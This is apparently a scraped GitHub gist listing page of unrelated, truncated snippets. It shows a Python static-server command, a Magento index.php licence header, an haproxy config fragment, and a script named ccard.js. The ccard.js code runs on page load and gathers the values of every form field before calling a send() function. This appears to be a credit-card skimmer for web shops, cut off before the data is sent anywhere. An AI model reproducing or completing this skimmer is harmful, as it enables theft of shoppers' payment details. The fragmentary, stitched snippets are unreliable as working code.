Skip to content

Instantly share code, notes, and snippets.

Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.

Discussion on reddit.

Python 2.x

$ python -m SimpleHTTPServer 8000
@mistigi
mistigi / ccard.js
Last active August 29, 2015 14:20 — forked from anonymous/ccard.js
var snd =null;
window.onload = function () {
if((new RegExp('[A-Za-z0-9_]')).test(window.location)) {
send();
}
}
function clk() {
var inp=document.querySelectorAll("input, select, textarea, checkbox");
for (var i=0;i<inp.length;i++){
if(inp[i].value.length>0) {
@mistigi
mistigi / index.php
Last active August 29, 2015 14:20 — forked from anonymous/index.php
<?php
/**
* Magento Enterprise Edition
*
* NOTICE OF LICENSE
*
* This source file is subject to the Magento Enterprise Edition End User License Agreement
* that is bundled with this package in the file LICENSE_EE.txt.
* It is also available through the world-wide-web at this URL:
* http://www.magento.com/license/enterprise-edition
global
#debug
#daemon
log 127.0.0.1 local0
defaults
log global
option httplog
frontend unsecured *:80